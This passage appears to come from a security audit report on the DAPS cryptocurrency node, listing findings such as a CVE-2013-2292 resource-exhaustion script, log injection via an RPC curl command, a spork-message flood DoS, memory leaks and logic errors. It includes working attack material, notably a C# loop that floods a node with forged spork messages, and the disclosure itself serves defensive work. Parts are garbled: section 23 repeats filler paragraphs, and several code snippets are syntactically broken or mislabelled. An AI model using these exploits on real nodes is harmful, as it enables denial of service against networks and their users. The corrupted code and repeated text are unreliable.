This vulnerability was registered with the identifier: **CVE-2013-2292**.

Bitcoind and Bitcoin-Qt 0.8.0 and earlier versions allow remote attackers to cause a Denial of Service (electricity consumption) by mining a block to create a nonstandard Bitcoin transaction containing multiple `OP_CHECKSIG` script opcodes.

In the following evidence, you can see that the vulnerability patch is not applied.
14 - CVE-2013-2292 Excessive Resource Exhaustion

```cpp
int FindAndDelete(const CScript& b)
{
    int nFound = 0;
    if (!b.empty())
    
        iterator pc = begin();
    opcode type opcode;
    do
    {
        while (end() - pc >= (long)b.size() && memcmp(&pc[0], &b[0], b.size()) == 0)
        {
            pc = erase(pc, pc + b.size());
            ++nFound;
        }
    }
    while (GetOp(pc, opcode));
    return nFound;
}
```

Code reference:
https://github.com/ArcadiaMediaGroup/DAPS/blob/61313567674660b37d9d7e97ef194d5cbe5f1fbe/src/script/script.h#L546-L572

Exploit Code:

The way to exploit $O(N^2)$ memory movement in `FindAndDelete()` is by building a transaction with the following scriptPub:

```
OP_0 (201 times)
OP_CHECKSIG (200 times)
OP_1
    push [ 0 ]
OP_IF
OP_0 (9601 times)
OP_ENDIF
```

References

- [https://bitslog.com/2017/01/08/a-bitcoin-transaction-that-takes-5-hours-to-verify/](https://bitslog.com/2017/01/08/a-bitcoin-transaction-that-takes-5-hours-to-verify/)
- [https://en.bitcoin.it/wiki/Common_Vulnerabilities_and_Exposures](https://en.bitcoin.it/wiki/Common_Vulnerabilities_and_Exposures)
- [https://github.com/stratisproject/StratisBitcoinFullNode/issues/1822](https://github.com/stratisproject/StratisBitcoinFullNode/issues/1822)

Recommendations:

- Apply the following patch: [https://github.com/bitcoin/bitcoin/pull/7907/files#diff-67d670d4bb185aad790da01f13eafef6](https://github.com/bitcoin/bitcoin/pull/7907/files#diff-67d670d4bb185aad790da01f13eafef6)
15 - Log Injection in debug

<table>
<thead>
<tr>
<th>Category</th>
<th>Active</th>
<th>Risk</th>
</tr>
</thead>
<tbody>
<tr>
<td>Lack of verifications</td>
<td>/src/net.cpp /src/httpserver.cpp</td>
<td>Low</td>
</tr>
<tr>
<td>CWE-117</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

**Description:**

During the security audit it was detected that it is possible to inject any value in the DAPS debug logs. Writing unvalidated user input to log files can allow an attacker to force log entries or inject malicious content into the logs.

Applications use log files to store a history of events and transactions for later review, statistics gathering, or debugging. Interpretation of the log files may be hindered if an attacker can supply data to the application that is subsequently logged verbatim.

The software does not sanitize or sanitize improperly the output that is written to log files. This can allow a malicious user to manipulate the log at will.

Log forging vulnerabilities occur when:

- Data enters an application from an untrusted source.
- The data is written to an application or system log file.

The debug parameter is not enabled:

Using the following command, an attacker could inject any value in the log (debug.log) file.

```
curl --data-binary '{"jsonrpc":"1.0","id":"curltext","method":"addnode","params":["LogInjection\n2019-07-01
13:00:00 LogInjection by Red4sec","onetry"]}' -H 'content-type:text/plain;' http://dapscoinrpc:6QmU2at85BVn5dLFKUeAZQMDVdxCDGyo9P62khqtySS@127.0.0.1:53573/ | python -m json.tool
```
15 - Log Injection in debug

Affected files

```c
CNode *ConnectNode(Address addrConnect, const char *pszDest, bool obfusCationMaster) {
  if (pszDest == NULL) {
    // we clean masternode connections in CMasternodeMan::ProcessMasternodeConnections()
    // so should be safe to skip this and connect to local Hot MN on CActiveMasterNode::ManageStatus()
    if (!localaddrConnect && !obfusCationMaster)
      return NULL;

    // Look for an existing connection
    CNode *pnode = FindNode((CService) addrConnect);
    if (pnode) {
      pnode->fObfuScationMaster = obfusCationMaster;

      pnode->AddRef();
      return pnode;
    }

    // debug print
    logPrint("net", "trying connection %s lastseen=%lihrs\n", pszDest, pszDest ? addrConnect.toString(),
    pszDest ? 0.0 : (double) (GetAdjustedTime() - addrConnect.nTime) / 3600.0);
```

Code reference:

https://github.com/ArcadiaMediaGroup/DAPS/blob/37c909dd3083408b8246aaaab512ced8ca40e236f/src/net.cpp#L387
**15 - Log Injection in debug**

```cpp
/** HTTP request callback */
static void http_request_cb(struct evhttp_request* req, void* arg) {
    std::unique_ptr<HTTPRequest> hreq(new HTTPRequest(req));

    LogPrint("http", "Received a %s request for %s from %s\n", 
            RequestMethodString(hreq->GetRequestMethod()), 
            hreq->GetURL(), hreq->GetPeer().ToString());
}
```

Code reference: [https://github.com/ArcadiaMediaGroup/DAPS/blob/37c909dd3083408b8246aaab512ced8ca40e236f/src/httpserver.cpp#L257](https://github.com/ArcadiaMediaGroup/DAPS/blob/37c909dd3083408b8246aaab512ced8ca40e236f/src/httpserver.cpp#L257)

**Recommendations:**

- It is required to sanitize all the entries that are received in the log functions, or delete the line breaks of the same.
- It is also recommended to neutralize problematic characters.

Here is an example of the characters that should be "escaped" or replaced when they appear within inputs that are written to log files/records:

<table>
<thead>
<tr>
<th>Character</th>
<th>Meaning</th>
</tr>
</thead>
<tbody>
<tr>
<td>\r</td>
<td>Carriage Return</td>
</tr>
<tr>
<td>\n</td>
<td>Newline</td>
</tr>
<tr>
<td>0x08 (octal 8)</td>
<td>Backspace</td>
</tr>
<tr>
<td>&lt;</td>
<td>Less than</td>
</tr>
<tr>
<td>&gt;</td>
<td>Greater than</td>
</tr>
<tr>
<td>&amp;</td>
<td>Ampersand</td>
</tr>
<tr>
<td>'</td>
<td>Quote</td>
</tr>
<tr>
<td>'</td>
<td>Apostrophe</td>
</tr>
<tr>
<td>\t</td>
<td>Tabulation</td>
</tr>
<tr>
<td>%</td>
<td>Percentage</td>
</tr>
<tr>
<td>\0</td>
<td>Null char</td>
</tr>
</tbody>
</table>
## 16 – Unexpected Behavior via truncated peers.dat

<table>
<thead>
<tr>
<th>Category</th>
<th>Active</th>
<th>Risk</th>
</tr>
</thead>
<tbody>
<tr>
<td>Denial of Service</td>
<td>peers.dat</td>
<td>Low</td>
</tr>
<tr>
<td></td>
<td></td>
<td>CWE-400</td>
</tr>
</tbody>
</table>

**Description:**

Red4Sec has detected an unexpected behavior due to an incorrect parsing of the peers.dat file content. There is a possibility that a truncated or altered peers.dat will produce a Denial of Service, causing a failure in DAPS Node.

The following evidence shows how the application and QT Wallet triggers an EXCEPTION (St9bad_alloc) when peers.dat is malformed.

![Image of file content analysis](image)

**Code reference:**

https://github.com/ArcadiaMediaGroup/DAPS/blob/f4711256c0fc43d03b9a072a060d6a3e737dac4f/src/net.cpp#L1954

This failure occurs when the file size is subtracted from the hash size used for the checksum. Since the file size is zero and the variable is `uint`, an integer overflow occurs when trying to allocate an excessive size.

**Code reference:**

https://github.com/ArcadiaMediaGroup/DAPS/blob/f4711256c0fc43d03b9a072a060d6a3e737dac4f/src/net.cpp#L1959
16 – Unexpected Behavior via truncated peers.dat

Recommendations:

- Verify that the inputs and the types within the application are always as expected.
- Check that files always follow a consistent format before processing them to avoid crashed or unexpected behaviors.
17 - Wrong logic implementation for ParseInt and ParseBool methods

Category: Bad practices
Active: /src/rpc/server.cpp
Risk: Low

**Description:**

The expected logic of `ParseInt` and `ParseBool` is believed to be the opposite of what is expected according to the name of the method.

In the following evidence we can see how it is verified only if it is an integer or a boolean, returning an exception, when precisely this should be the expected behavior. We assume that it is an implementation error, and it should be `!v.isNum`.

```cpp
int ParseInt(const UniValue& o, string strKey)
{
    UniValue& v = find_value(o, strKey);
    if (v.isNum())
        throw JSONRPCError(RPC_INVALID_PARAMETER, "Invalid parameter, " + strKey + " is not an int");
    return v.get_int();
}

bool ParseBool(const UniValue& o, string strKey)
{
    UniValue& v = find_value(o, strKey);
    if (v.isBool())
        throw JSONRPCError(RPC_INVALID_PARAMETER, "Invalid parameter, " + strKey + " is not a bool");
    return v.get_bool();
}
```

Code reference:
https://github.com/ArcadiaMediaGroup/DAPS/blob/6d5e512aced6e1bda356b863fe8d1ebcf42211b2/src/rpc/server.cpp#L164-L180

The risk of this vulnerability is low given that no currently reference to these methods has been found even though could be used in the future producing unexpected behaviors.

**Recommendations:**

- It is recommended to correct the logic of the implementation in case these methods are used in the future.
  
  Modify the conditional adding not (!) at the beginning.
  
  o if (!v.isNum()) { ... }
  o if (!v.isBool()) { ... }
18 - Denial of Service via Spork messages

<table>
<thead>
<tr>
<th>Category</th>
<th>Active</th>
<th>Risk</th>
</tr>
</thead>
<tbody>
<tr>
<td>Denial of Service</td>
<td>/src/spork.cpp /src/spork.h</td>
<td></td>
</tr>
<tr>
<td></td>
<td>Low</td>
<td>CWE-400</td>
</tr>
</tbody>
</table>

**Description:**

Denial of service (DoS) typically attacks flood servers, systems or networks with traffic in order to overwhelm the victim's resources and make it difficult or impossible for legitimate users to use them.

It has been verified that it would be possible to perform a denial of service attack over DAPS network by possessing the spork message key.

The risk of this vulnerability should be low since the spork message key is needed, however, taking advantage of the previously described "Reusable Signature Schemes" vulnerability, this flaw could be exploited by reusing a valid spork signature.

As seen in the **spork.cpp:93** file, each time a spork message is received, it is indexed on a map with the message hash key. This message must be correctly verified and signed with the spork messages private key.

```c
LogPrintf("spork - new ns ID %d Time %d bestHeight %d\n", hash.ToString(), spork.nSporkID, spork.nValue, chainActive.Tip()->nHeight

if (!sporkManager.CheckSignature(spork)) {
    LogPrintf("spork - invalid signature\n");
    Misbehaving(pfrom->GetID(), 100);
    return;
}

map<sporks>[hash] = spork;
map<sporksActive>[spork.nSporkID] = spork;
sporkManager.Relay(spork);

// DAPSCoin: add to spork database.
pSporkDB->WriteSpork(spork.nSporkID, spork);
```

**Code reference:**
[https://github.com/ArcadiaMediaGroup/DAPS/blob/4ba99738198cda85c6c96822832d5e3c942f877/src/spork.cpp#L93](https://github.com/ArcadiaMediaGroup/DAPS/blob/4ba99738198cda85c6c96822832d5e3c942f877/src/spork.cpp#L93)

One of the computational values of this hash is the time in which the message was signed.
18 - Denial of Service via Spork messages

```csharp
uint256 GetHash()
{
    uint256 n = HashQuark(BEGIN(nSporkID), END(nTimeSigned));
    return n;
}
```

Code reference:
https://github.com/ArcadiaMediaGroup/DAPS/blob/4ba99738198cdba85c6c96822832d5e3c942f877/src/spork.h#L81

This allows the generation of valid duplicate messages with different time values (always higher than the previous one) which increases the map size. Flooding the network with messages of this type would result in a denial of service to the entire network.

Taking advantage of the vulnerability "Inconsistent and reusable signature scheme" this attack could be carried out by a third party without the need for an authorized spork key.

**Exploit Code**

Note: in order to execute this exploit and accelerate the exploit development process, the code has been modified to accept any signature as valid.

```csharp
public void DOS_BySport(string ip, int port)
{
    var key = "87XXaBfpECKFBVkN4CgdfjTAXy9YDHSZYGiW9RTsMGUpu1YwdE";
    var pkey = Base58Extensions.DecodeWithCheckSum(key);
    var host = new IPEndPoint(IPAddress.Parse(ip), port);
    var list = new List<TcpClient>();
    if (!SporkPayload.IsValidAddress(ref pkey)) throw new ArgumentException("wrong key");
    var iteration = 1;
    var time = DateTime.UtcNow.ToTimestamp();
    var client = new TcpClient();
    client.Connect(host);
    var stream = client.GetStream();
    var reader = new BinaryReader(stream, Encoding.ASCII, true);
    var writer = new BinaryWriter(stream, Encoding.ASCII, true);
    var message = Message.Create("version", VersionPayload.Create(70912, NODE_NETWORK, time, Globals.DefaultP2PPort, 1, ",", 0));
    message.Serialize(writer);
```
18 - Denial of Service via Spork messages

START:

iteration++;
var send = Message.Create("spork",
  SporkPayload.Create(SporkPayload.SPORK_2_SWIFTTX, 1, time + iteration, pkey));

try { send.Serialize(writer); }
catch { }
goto START;

client.Close();
client.Dispose();

Proof of Concept:

First of all, we have connected a single client by sending spork messages consecutively.

Gradually `mapSporks.size()` increases, resulting in a denial of service due to an out of memory.

Recommendations:

- Store a limited number of spork messages in memory.
- Use the spork id as the mapSporks key instead of the hash which is currently being used.
- Another possible solution would be to delete unnecessary or unused spork code, avoiding the apparition of related vulnerabilities.
19 - Incomplete Source Code

<table>
<thead>
<tr>
<th>Category</th>
<th>Active</th>
<th>Risk</th>
</tr>
</thead>
<tbody>
<tr>
<td>Unfinished or Dead Code</td>
<td>/src/coins.cpp</td>
<td>Low</td>
</tr>
<tr>
<td></td>
<td>/src/qt/addressTableModel.cpp</td>
<td></td>
</tr>
</tbody>
</table>

Description:

It has been detected that the project contains code which is incomplete or not essential for execution, i.e. makes no state changes and has no side effects that alter data or control flow.

Removing this code would have no impact to functionality or correctness.

1. **CCoinsViewCache::GetValueIn** - https://github.com/ArcadiaMediaGroup/DAPS/blob/4b7461d2de70296b0f3104c952e1e7fe9d9a0c1/src/coins.cpp#L223-L233
   
   In this case, the expected logic of *GetValueIn* is incomplete and could trigger unexpected results. As seen in the following code snippet, all the conditions of this method returns 0.

   ```c
   CAmount CCoinsViewCache::GetValueIn(const CTransaction& tx) const
   {
       if (!tx.IsCoinBase())
           return 0;

       CAmount nResult = 0;
       //for (unsigned int i = 0; i < tx.vin.size(); i++)
       //nResult += GetOutputFor(tx.vin[i]).nValue;
       return nResult;
   }
   ```

2. **updateEntry** - https://github.com/ArcadiaMediaGroup/DAPS/blob/f13a7ddc4f4580520d591cddf40bf117cf9fd2/src/qt/addressTableModel.cpp#L142-L159
   
   In this case, the method *updateEntry* of QT Wallet is incomplete.

   ```c
   void updateEntry(const QString &aNewCoin, const QString &aIssued, int status)
   {
       // Find address / label in model
       // QList<AddressTableModel>::iterator lower = qLowerBound(
       //     cachedAddressTable.begin(), cachedAddressTable.end(), puCoin, AddressTo
       // QList<AddressTableModel>::iterator upper = qUpperBound(
       //     cachedAddressTable.begin(), cachedAddressTable.end(), puCoin, AddressTo
       // bool inModel = (lower != upper);

       switch(status)
       {
       case CT_NEW:
           break;
       case CT_UPDATED:
           break;
       }
   }
   ```
## 19 - Incomplete Source Code

**Recommendations:**

- Review and complete unfinished code sections and its logic, avoiding non-contemplated behaviors.
- Finish the expected logic, avoiding that the same value is always returned.
## Minor Potential Logic Errors

<table>
<thead>
<tr>
<th>Category</th>
<th>Active</th>
<th>Risk</th>
</tr>
</thead>
<tbody>
<tr>
<td>Logic Errors</td>
<td>/src/wallet.cpp</td>
<td>Low</td>
</tr>
</tbody>
</table>

**Description:**

During the audit, some minor potential logic errors were detected. These errors produce unintended or undesired output or other behavior, although it may not immediately be recognized as such.

The methods *EncodeStealthPublicAddress* and *EncodeIntegratedAddress* contain the following code snippet extracted from *src/wallet.cpp*:

```cpp
bool CWallet::EncodeStealthPublicAddress(const std::vector<unsigned char>& pubKey, const std::vector<unsigned char>& pubSpendKey, std::vector<unsigned char>& pubAddr)
{
    std::copy(pubSpendKey.begin(), pubSpendKey.begin() + 33, std::back_inserter(pubAddr)); // copy 33 bytes
    std::copy(pubViewKey.begin(), pubViewKey.begin() + 33, std::back_inserter(pubAddr)); // copy 33 bytes
    uint256 n = Hash(pubAddr.begin(), pubAddr.end());
    unsigned char* begin = n.begin();
    pubAddr.push_back(*begin);
    pubAddr.push_back(*begin + 1);
    pubAddr.push_back(*begin + 2);
    pubAddr.push_back(*begin + 3);

    encodeStealthBase58(pubAddr, pubAddress);

    return true;
}
```

Code reference:

https://github.com/ArcadiaMediaGroup/DAPS/blob/963e78b5d3250fabce563f0037b0582cf33b334/src/wallet.cpp#L5413-L5428

The method *encodeStealthBase58* is in the code snippet below.
20 - Minor Potential Logic Errors

```cpp
bool Wallet::encodeStealthBase58(const std::vector<unsigned char>& raw, std::string& stealth) {
    if (raw.size() != 71 || raw.size() != 79) {
        return false;
    }
    stealth = "";

    //Encoding Base58 using block=8 bytes
    int i = 0;
    while(i < (int)raw.size()) {
        std::vector<unsigned char> input8;
        std::copy(raw.begin() + i, raw.begin() + i + 8, std::back_inserter(input8)); //copy 8 bytes
        std::string out = EncodeBase58(input8);
        if (out.length() < 11) {
            encode(out, 11);
        }
        stealth += out;
        i += 8;
    }
    if (i + 8 > (int)raw.size()) {
        //the last block of 7
        std::vector<unsigned char> input7;
        std::copy(raw.begin() + i, raw.begin() + i + 7, std::back_inserter(input7)); //copy 7 bytes
        std::string out11 = EncodeBase58(input7);
        encode(out11, 11);
        stealth += out11;
        i += 7;
    }
    return true;
}
```

Code reference:
https://github.com/ArcadiaMediaGroup/DAPS/blob/963e78bbd3250fabcea563f0037b0582cf33b334/src/wallet.cpp#L5383-L5411

Calling `encodeStealthBase58` returns a bool which could potentially be `false` if the size of the address being processed is invalid. However, the return value seems to be ignored in both calls of `encodeStealthBase58`, in `EncodeStealthPublicAddress` and `EncodeIntegratedAddress`. Bypassing the returned value in this case could lead to the processing of an address of invalid length, which could cause undefined behavior.

It is recommended to make the following change in `EncodeStealthPublicAddress` and `EncodeIntegratedAddress`, then handle the `false` value accordingly.
20 - Minor Potential Logic Errors

bool Challet::EncodeStealthPublicAddress(const std::vector<unsigned char>& pubViewKey, const std::vector<unsigned char>& pubSpendKey, std::vector<unsigned char> & pubAddr);
pubAddr.push_back(18); // 1 byte
std::copy(pubSpendKey.begin(), pubSpendKey.end()) + 33, std::back_inserter(pubAddr)); // copy 33 bytes
std::copy(pubViewKey.begin(), pubViewKey.end()) + 33, std::back_inserter(pubAddr)); // copy 33 bytes
uint256 h = Hash(pubAddr.begin(), pubAddr.end());
unsigned char* begin = h.begin();
pubAddr.push_back(*begin);
pubAddr.push_back(*begin + 1);
pubAddr.push_back(*begin + 2);
pubAddr.push_back(*begin + 3);
encodeStealthBase58(pubAddr, pubAddr58);
return true;
}

bool Challet::EncodeIntegratedAddress(const std::vector<unsigned char>& pubViewKey, const std::vector<unsigned char>& pubSpendKey, uint64_t std::vector<unsigned char> & pubAddr);
pubAddr.push_back(19); // 1 byte for integrated address
std::copy(pubSpendKey.begin(), pubSpendKey.end()) + 33, std::back_inserter(pubAddr)); // copy 33 bytes
std::copy(pubViewKey.begin(), pubViewKey.end()) + 33, std::back_inserter(pubAddr)); // copy 33 bytes
std::copy((char*)paymentID, (char*)paymentID + sizeof(paymentID), std::back_inserter(pubAddr)); // 8 bytes of payment id
uint256 h = Hash(pubAddr.begin(), pubAddr.end());
unsigned char* begin = h.begin();
pubAddr.push_back(*begin);
pubAddr.push_back(*begin + 1);
pubAddr.push_back(*begin + 2);
pubAddr.push_back(*begin + 3);
encodeStealthBase58(pubAddr, pubAddr58);
return true;
}

Code reference:
https://github.com/ArcadiaMediaGroup/DAPS/blob/963e78bbd3250fabcea563f0037b0582cf33b334/src/wallet.cpp#L5413-L5446

Fulfilling the condition found in the code snippet extracted from wallet.cpp should return false.

bool Challet::allMyPrivateKeys(std::vector<CKey>& spends, std::vector<CKey>& views)
{
    if (!IsLocked()) {
        return false;
    }
    std::string labelList;
    CKey spend, view;
    mySpendPrivateKey(spend);
    myViewPrivateKey(view);
    spends.push_back(spend);
    views.push_back(view);

    if (!GetAccountList(labelList)) {
        return true;
    }

Code reference:
https://github.com/ArcadiaMediaGroup/DAPS/blob/963e78bbd3250fabcea563f0037b0582cf33b334/src/wallet.cpp#L5758-L5772
20 - Minor Potential Logic Errors

Recommendations:

- It is recommended to modify the affected code using the following:

```java
if (!ReadAccountList(labelList)) {
    // old: return true;
    return false;
}
```
## 21 - PoS Nodes Have an Unfair Advantage over non-stakeholders at PoA

<table>
<thead>
<tr>
<th>Category</th>
<th>Active</th>
<th>Risk</th>
</tr>
</thead>
<tbody>
<tr>
<td>Logic Errors</td>
<td></td>
<td>Low</td>
</tr>
<tr>
<td>CWE</td>
<td>840</td>
<td></td>
</tr>
</tbody>
</table>

**Description:**

According to the DAPS whitepaper, the network would accept one PoA block, which contains at least 59 transactions every hour:

*No PoA block shall be accepted onto the chain unless at least 59-60 minutes have elapsed since the timestamp of the previously accepted PoA block (DAPS Whitepaper p.14 - PoA and PoS Consensus Details).*

*A PoA block must audit 59 PoS blocks in order to be considered valid (DAPS Technical Description p.3 - PoS+PoA Hybrid Consensus Rules).*

In the case where all previous blocks except those generated within the last hour have been audited, the node which succeeds at submitting the last PoS block before it is time for a PoA block will have an unfair advantage over all the other nodes attempting to compute and submit a PoA block.

This node could simultaneously prepare a PoA block that includes the PoS block it is submitting. Should the PoS block submitted by this node be accepted, it would have the highest chance of getting its PoA block accepted as well, since it would have computed it as a validated PoA block before the final PoS block needed was submitted on the network [10].

**Recommendations:**

- It is recommended to add a condition for PoA validation which states that a node cannot audit a block which was submitted by itself and accepted on the network. This does not however deny the fact that one person could own two nodes with separate addresses.
## 22 - Potential Memory Leaks

<table>
<thead>
<tr>
<th>Category</th>
<th>Active</th>
<th>Risk</th>
</tr>
</thead>
<tbody>
<tr>
<td>Out of Memory</td>
<td>/src/qt/*</td>
<td>Low</td>
</tr>
<tr>
<td></td>
<td>CWE-401</td>
<td></td>
</tr>
</tbody>
</table>

**Description:**

Several memory leak issues were identified in the QT Wallets via static code analysis. These kinds of leaks may produce an unnecessary consumption of resources.

After manual validation, the following findings were identified:

- **qt/addressbookpage.cpp:84**: The new "contextMenu" QT object parentship is never set, nor it is explicitly deleted anywhere in the code. Possible fixes would be setting the current QT object as its parent, deleting it in the current object’s destructor, or setting its Qt::WA_DeleteOnClose attribute.

- **qt/bitcoingui.cpp:182**: The "frameBlocks" object parentship is never set, nor it is explicitly deleted. Possible fixes would be setting the current QT object as its parent or deleting it in the current object’s destructor.

- **qt/bitcoingui.cpp:188**: If wallet mode is not enabled, the "unitDisplayControl" object parentship is never set, nor it is explicitly deleted. Possible fixes would be not instantiating it if the wallet is not enabled, setting the current QT object as its parent or deleting it in the current object’s destructor.

- **qt/bitcoingui.cpp:190**: If wallet mode is not enabled, the "labelEncryptionIcon" object parentship is never set, nor it is explicitly deleted. Possible fixes would be not instantiating it if the wallet is not enabled, setting the current QT object as its parent or deleting it in the current object’s destructor.

- **qt/bitcoingui.cpp:1274**: The new "menu" QT object parentship is never set, nor it is explicitly deleted anywhere in the code. Possible fixes would be setting the current QT object as its parent, deleting it in the current object’s destructor, or setting its Qt::WA_DeleteOnClose attribute.

- **qt/guiutil.cpp:873**: The new "errorPrompt" QT prompt is never deleted. Fixable by calling errorPrompt->deleteLater(); after errorPrompt->exec();

- **qt/masternodelist.h:63**: The "refreshPageTimer" object is never explicitly deleted nor assigned a parent QT object. Additionally, no other references to that variable have been found in the code, so it could be completely removed.

- **qt/overviewpage.cpp:133**: The "timerBlockHeightLabel" QT timer parentship is never set, nor is it explicitly deleted. Possible fix is initializing it with the parentship setting constructor (new QTimer(this));

- **qt/overviewpage.cpp:235**: The "filter" QT object parentship is never set, nor is it explicitly deleted. Possible fix is initializing it with the parentship setting constructor (new TransactionFilterProxy(this));
22 - Potential Memory Leaks

- `qt/overviewpage.cpp:312`: The "animClock" QT object parentship is never set, nor is it explicitly deleted. Possible fix is initializing it with the parentship setting constructor (`new QElapsedTimer(this);`)

- `qt/peertablemodel.cpp:114`: The "priv" object is never explicitly deleted. Fixable by deleting it in PeerTableModel's destructor.

- `qt/peertablemodel.cpp:119`: The "timer" QT object is never explicitly deleted. Possible fix is initializing it with the parentship setting constructor (`new QTimer(this);`)

- `qt/receivecoinsdialog.cpp:39`: The "contextMenu" QT object parentship is never set, nor it is explicitly deleted anywhere in the code. Possible fixes would be setting the current QT object as its parent, deleting it in the current object’s destructor, or setting its `Qt::WA_DeleteOnClose` attribute

- `qt/receiverequest.cpp:36`: The "contextMenu" QT object parentship is never set, nor it is explicitly deleted anywhere in the code. Possible fixes would be setting the current QT object as its parent, deleting it in the current object’s destructor, or setting its `Qt::WA_DeleteOnClose` attribute

- `qt/rpcconsole.cpp:367`: The "peersTableContextMenu" QT object is never released. This object can exec()'d several times during the lifespan of the calling object, so its deletion should be performed in RPCConsole's destructor.

- `qt/rpcconsole.cpp:414`: The "banTableContextMenu" QT object is never released. This object can exec()'d several times during the lifespan of the calling object, so its deletion should be performed in RPCConsole's destructor.

- `qt/transactionview.cpp:154`: The "contextMenu" QT object is never released. This object can exec()'d several times during the lifespan of the calling object, so its deletion should be performed in TransactionView's destructor.

- `qt/walletview.cpp:48`: The "vbox" QT object is never assigned a parent object or explicitly deleted. Possible fix is initializing it with the parentship setting constructor (`new QVBoxLayout(this);`)

**Recommendations:**

- Integrate memory profiling in order to detect memory leaks.
- Include static code analysis within testing lifecycle process in order to detect these issues in previous phases.
23 - Crash in getpoolinfo RPC command (SIGSEGV)

<table>
<thead>
<tr>
<th>Category</th>
<th>Active</th>
<th>Risk</th>
</tr>
</thead>
<tbody>
<tr>
<td>Insufficient control of exceptions</td>
<td>/src/rpcmasternode.cpp</td>
<td>Low</td>
</tr>
<tr>
<td>CWE-703</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

**Description:**

It has been observed that it is possible to cause imminent completion of the process, due to a segment violation, caused by inappropriate error handling when accessing the attributes of an object.

This termination prevents the database from running the normal shutdown process, and causes it to fail recovering the next time. To restart the service, it is necessary to perform a resynchronization of the database.

To reproduce the fault, it is necessary to send authenticated RPC commands to the node, and perform a simple request to the `getpoolinfo` command.

```
./dapscoind -datadir=./privnet/miner/ -printtoconsole -debug getpoolinfo
```

This causes the following exception.
23 - Crash in getpoolinfo RPC command (SIGSEGV)

```c
23 - Crash in getpoolinfo RPC command (SIGSEGV)

In getpoolinfo RPC command, the getpoolinfo function crashes due to a segmentation fault (SIGSEGV) when the command is executed. This crash occurs when the function attempts to access memory that is not allocated, resulting in a segmentation fault.

The crash happens at line 303 of the getpoolinfo function in the application code. The crash is triggered by an invalid memory access, which is likely due to an error in the logic that handles the input parameters for the getpoolinfo function.

To fix this issue, the logic in the getpoolinfo function should be reviewed and modified to ensure that all memory accesses are valid and within the allocated memory boundaries. This requires a detailed analysis of the code, including understanding the purpose and usage of the getpoolinfo function, and then making necessary changes to prevent similar crashes in the future.

The following code snippet shows the point of the crash:

```c
23 - Crash in getpoolinfo RPC command (SIGSEGV)

In getpoolinfo RPC command, the getpoolinfo function crashes due to a segmentation fault (SIGSEGV) when the command is executed. This crash occurs when the function attempts to access memory that is not allocated, resulting in a segmentation fault.

The crash happens at line 303 of the getpoolinfo function in the application code. The crash is triggered by an invalid memory access, which is likely due to an error in the logic that handles the input parameters for the getpoolinfo function.

To fix this issue, the logic in the getpoolinfo function should be reviewed and modified to ensure that all memory accesses are valid and within the allocated memory boundaries. This requires a detailed analysis of the code, including understanding the purpose and usage of the getpoolinfo function, and then making necessary changes to prevent similar crashes in the future.

The following code snippet shows the point of the crash:

```
Crash in getpoolinfo RPC command (SIGSEGV)

This occurs since it cannot obtain the address of the *CurrentMasternode* because there is none assigned.

```cpp
Value getpoolinfo(const Array& params, bool fHelp)
{
    if (fHelp || params.size() != 0)
        throw runtime_error(
            "getpoolinfo"
            "\nReturns anonymous pool-related information\n"
            "\nResult:\n"
            "\n"
            " \"current\": \"addr\", (string) DAPScoin address of current masternode\n"
            " \"state\": xxxx, (string) unknown\n"
            " \"entries\": XXXX, (numeric) Number of entries\n"
            " \"accepted\": XXXX, (numeric) Number of entries accepted\n"
            "\n"
            "\nExamples:\n"
            HelpExampleCli("getpoolinfo", ") + HelpExampleRpc("getpoolinfo", ");

    Object obj;
    obj.push_back(Pair("current_masternode", mnodeman.GetCurrentMasterNode()->addr.ToString()));
    obj.push_back(Pair("state", obfScationPool.GetState()));
    obj.push_back(Pair("entries", obfScationPool.GetEntriesCount()));
    obj.push_back(Pair("entries_accepted", obfScationPool.GetCountEntriesAccepted()));
    return obj;
}
```

Code reference:
https://github.com/ArcadiaMediaGroup/DAPS/blob/bd7fbca8d4d523d90a55ce670fe64ff03573162/src/rpcmasternode.cpp#L123

**Recommendations:**

- Perform a correct error handling and avoid unexpected behavior.
- Check that all RPC commands work as expected.
## Memory Access Violation - Merkleblock

<table>
<thead>
<tr>
<th>Category</th>
<th>Active</th>
<th>Risk</th>
</tr>
</thead>
<tbody>
<tr>
<td>Memory Management</td>
<td>/src/merkleblock.cpp</td>
<td>Low CWE-119</td>
</tr>
</tbody>
</table>

### Description:

During the audit it was detected that DAPS node does not verify that there cannot be zero txids in a merkle tree. This issue is inherited from Bitcoin code and could cause a possible memory access violation in `CPartialMerkleTree::CalcHash()`.

As we can see in the following image from Bitcoin code, the amount of txids in the merkle tree is checked.

```c
uint256 CPartialMerkleTree::CalcHash(int height, unsigned int pos, const std::vector<uint256>& vTxid) {
    // we can never have zero txs in a merkle block, we always need the coinbase tx
    if (height == 0) {
        // hash at height 0 is the txids themself
        return vTxid[pos];
    }
}
```

However, in the DAPS code, this check is not performed, resulting in a possible memory access violation.

```c
uint256 CPartialMerkleTree::CalcHash(int height, unsigned int pos, const std::vector<uint256>& vTxid) {
    if (height == 0) {
        // hash at height 0 is the txids themself
        return vTxid[pos];
    }
}
```

In the following evidence there is a comparison of both codes:

### Code references

- **DAPS Source Code:**
  [https://github.com/ArcadiaMediaGroup/DAPS/blob/963e78bbd3250fabcea563f0037b0582cf33b334/src/merkleblock.cpp#L40](https://github.com/ArcadiaMediaGroup/DAPS/blob/963e78bbd3250fabcea563f0037b0582cf33b334/src/merkleblock.cpp#L40)
- **Bitcoin Source Code:**
- **Bitcoin Pull Request:**
  [https://github.com/bitcoin/bitcoin/pull/9980](https://github.com/bitcoin/bitcoin/pull/9980)
24 - Memory Access Violation - Merkleblock

<table>
<thead>
<tr>
<th>Recommendations:</th>
</tr>
</thead>
<tbody>
<tr>
<td>• Implement a control to verify and prevent that the size of <code>txids</code> is equal to 0.</td>
</tr>
<tr>
<td>• Include static code analysis within testing lifecycle process in order to detect these issues in previous phases.</td>
</tr>
</tbody>
</table>
# 25 - Absence of Privacy-focused Broadcast Protocol

<table>
<thead>
<tr>
<th>Category</th>
<th>Active</th>
<th>Risk</th>
</tr>
</thead>
<tbody>
<tr>
<td>Bad practices</td>
<td>-</td>
<td>Low</td>
</tr>
</tbody>
</table>

**Description:**

DAPS is a privacy-focused cryptocurrency that incorporates blockchain-level features such as RingCT and Bulletproofs to ensure that transactions cannot be traced where P2P/overlay network communication plays a vital role in anonymization.

